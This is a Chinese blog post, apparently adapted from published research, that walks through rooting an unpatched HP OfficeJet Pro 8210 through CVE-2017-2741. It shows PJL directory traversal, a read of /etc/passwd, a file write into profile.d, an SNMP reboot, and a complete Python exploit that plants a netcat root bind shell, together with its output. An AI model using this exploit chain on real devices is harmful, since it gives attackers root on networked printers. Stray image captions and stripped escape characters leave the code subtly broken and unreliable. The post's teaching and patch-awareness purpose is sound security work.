对于打印机这种无处不在的“办公用品”,还面临哪些安全威胁?今天,我们讲的是另一个严重的安全威胁“如何root打印机”。

4月初, 惠普发布了一个安全公告“HP PageWide Printers, HP OfficeJet Pro Printers, Arbitrary Code Execution”,揭示了HP部分系列打印机存在的可以执行任意代码的漏洞cve -2017-2741。

但这仅仅是“冰山一角”。两个月以来,该漏洞缺乏进一步的详细说明,因为还处于 “RESERVED” 状态。必须注意的是其CVSSv2 高达9.8 分,足以证明其安全威胁程度。

于是Jacob Baines针对HP OfficeJet Pro 8210打印机的实验出现了。

如何监控打印机打印的文件 打印机远程监控_ubuntu

很少有人关心过打印机的漏洞及补丁情况吧?来看HP OfficeJet Pro 8210的。新购打印机都存在漏洞固件,而且禁用了补丁更新~!要你命的节奏。

如何监控打印机打印的文件 打印机远程监控_固件_02

好吧,靠自己了。从往www.hp.com/support自行下载相应的更新固件,HP针对此漏洞,提供了名为OJ8210_R1709A.exe的更新固件下载。

如何监控打印机打印的文件 打印机远程监控_HTTP服务器远程控制_03

为其中一台OfficeJet Pro 8210打印机更新了固件,另一台未更新。现在开始远程代码执行!

未更新固件的打印机:192.168.1.158

更新了固件的打印机:192.168.1.159

首先,用NMAP对更新了固件的打印机执行端口扫描:

albinolobster@ubuntu:~$ nmap -A 192.168.1.159
Starting Nmap 7.01 ( https://nmap.org ) at 2017-06-08 10:31 PDT
Nmap scan report for HP0A6BFE.westeros (192.168.1.159)
Host is up (0.014s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
80/tcp open http HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
443/tcp open ssl/https HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
515/tcp open printer
631/tcp open ssl/ipp HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
8080/tcp open http-proxy HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
9100/tcp open jetdirect?
貌似没有更多异常。但9100端口除了支持原始打印服务外,还支持 PCL、Post和PJL打印语言。尝试一下通过9100端口利用PJL语言获取打印机设备信息:
albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL INFO ID
@PJL INFO ID
"HP OfficeJet Pro 8210"
1月看过Jens Müller的报告“Exploiting Network Printers: A Survey of Security Flaws in Laser Printers and Multi-Function Devices ”(入侵网络打印机:激光和多功能打印设备漏洞研究),就会发现:大部分打印存在利用PJL语言进行目录遍历的漏洞。于是,进一步尝试:
albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/" ENTR
tmp/ TYPE=DIR
csr_misc/ TYPE=DIR
结果中列出了打印机的一个根目录0:/,和两个子目录tmp/、csr_misc/,在未更新固件的打印机上,尝试使用路径0:/../../进行目录枚举
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1
rw/ TYPE=DIR
ram/ TYPE=DIR
rom/ TYPE=DIR
.sig/ TYPE=DIR
某些貌似敏感的目录位置可以进一步利用。如果固件更新了呢?尝试则会报错。
albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../"
FILEERROR=0
好吧,到现在为止至少看出固件更新的重要性了吧?
下面针对没有更新固件的开展工作吧。先遍历路径看看:
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="../../" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../"
FILEERROR=0
@PJL FSDIRLIST NAME="../../bin/" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../bin/" ENTRY=1
getopt TYPE=FILE SIZE=880020
setarch TYPE=FILE SIZE=880020
dd TYPE=FILE SIZE=880020
cp TYPE=FILE SIZE=880020
(⊙o⊙)哦有熟悉的../../bin,而且可以列出一些传统Linux系统文件~!!这样就好办了。
下面会用到:FSQUERY、FSUPLOAD和FSDOWNLOAD 三个PJL命令,支持访问打印机文件系统的读写(r/w)权限,例如:利用FSQUERY或FSUPLOAD命令读取/etc/passwd密码内容(呵呵,好玩~!)
@PJL FSUPLOAD NAME="../../etc/passwd" OFFSET=0 SIZE=648
@PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648
root:x:0:0:root:/var/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
ftp:x:83:83:ftp:/home/ftp:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
default:x:1000:1000:Default non-root user:/home/default:/bin/sh
_ntp:x:100:99:Linux User,,,:/run/ntp:/bin/false
但脚本由于没有Linux文件系统的访问权限,不能执行。还要在另外的目录里折腾。
尝试了0:/ 的遍历,终于发现0:/../../rw/var/etc/profile.d/,而通常profile.d目录包含了系统启动时的各种执行脚本。0:/../../rw/var/etc/profile.d/和../../var/etc/profile.d/下似乎都包含了相同的数据内容:
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1<
.sig/ TYPE=DIR
Jacob Baines做了一个Python脚本,脚本中FSDOWNLOAD命令部分中的写入目录为:0:/../../rw/var/etc/profile.d/writing_test
iimport socket
import sys
test = ('test')
if len(sys.argv) != 3:
print 'nUsage:upload.py [ip] [port]n'
sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="0:/../../rw/var/etc/profile.d/writing_test"rn
dir_query += test
dir_query += 'x1b%-12345X'
sock.sendall(dir_query)
sock.close()
新写入创建的文件还能通过遍历方式查看:(这下能做好多事情喽~!)
albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR
writing_test TYPE=FILE SIZE=4
那么要想远程执行代码,目前只需要向其中写入一个执行脚本,并弄清楚如何重启打印机,当设备重启时,就可以静待脚本启动执行了。由于打印机系统中配置了netcat,可以创建了一个脚本,该脚本将会生成一个绑定到1270端口的shell:
if [ ! -p /tmp/pwned ]; then
mkfifo /tmp/pwned
cat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &
fi
现在使用SNMP协议的MIB命令来实现重启,如下SNMP命令:
albinolobster@ubuntu:~$ snmpset -v1 -c public 192.168.1.158 1.3.6.1.2.1.43.5.1.1.3.1 i 4
iso.3.6.1.2.1.43.5.1.1.3.1 = INTEGER: 4
Jacob Baines把所有脚本功能合成后,给了一个能向profile.d中写入系统启动执行脚本,并能执行打印机重启的exploit:
##
# Create a bind shell on an unpatched OfficeJet 8210
# Write a to profile.d and reboot the device. When it comes
# back online then nc to port 1270.
#
# easysnmp instructions:
# sudo apt-get install libsnmp-dev
# pip install easysnmp
##
import socket
import sys
from easysnmp import snmp_set
profile_d_ = ('if [ ! -p /tmp/pwned ]; thenn'
'tmkfifo /tmp/pwnedn'
'tcat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &n
'fin')
if len(sys.argv) != 3:
print 'nUsage:upload.py [ip] [port]n'
sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(profile_d_)) + ' NAME="0:/../../rw/var/etc/profile.d/lol.sh"rn'
dir_query += profile_d_
dir_query += 'x1b%-12345X'
sock.sendall(dir_query)
sock.close()
sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock1.connect(server_address)
dir_query = '@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh"rn'
sock1.sendall(dir_query)
response = ''
while True:
data = sock1.recv(1)
if 'n' == data: break
response += data
print response
snmp_set('.1.3.6.1.2.1.43.5.1.1.3.1', 4, 'integer', hostname='192.168.1.158', community='public', version=1)
print 'Done! Try port 1270 in ~30 seconds'
对未更新固件的目标打印机执行exploit,大约30秒后,可以获取到一个绑定到1270端口的反弹控制shell。
albinolobster@ubuntu:~$ python printer_exploit.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh" TYPE=FILE SIZE=119
Done! Try port 1270 in ~30 seconds
albinolobster@ubuntu:~$ nc 192.168.1.158 1270
whoami
root

幸运的是nessus 插件100461五月下旬已经可以检测此漏洞了。S这里想说:打印机其实也是个计算系统,由于一直以来缺乏有效防护且易于忽视,存在着很多脆弱性,值得进一步关注。

参考:

https://www.tenable.com/blog/rooting-a-printer-from-security-bulletin-to-remote-code-execution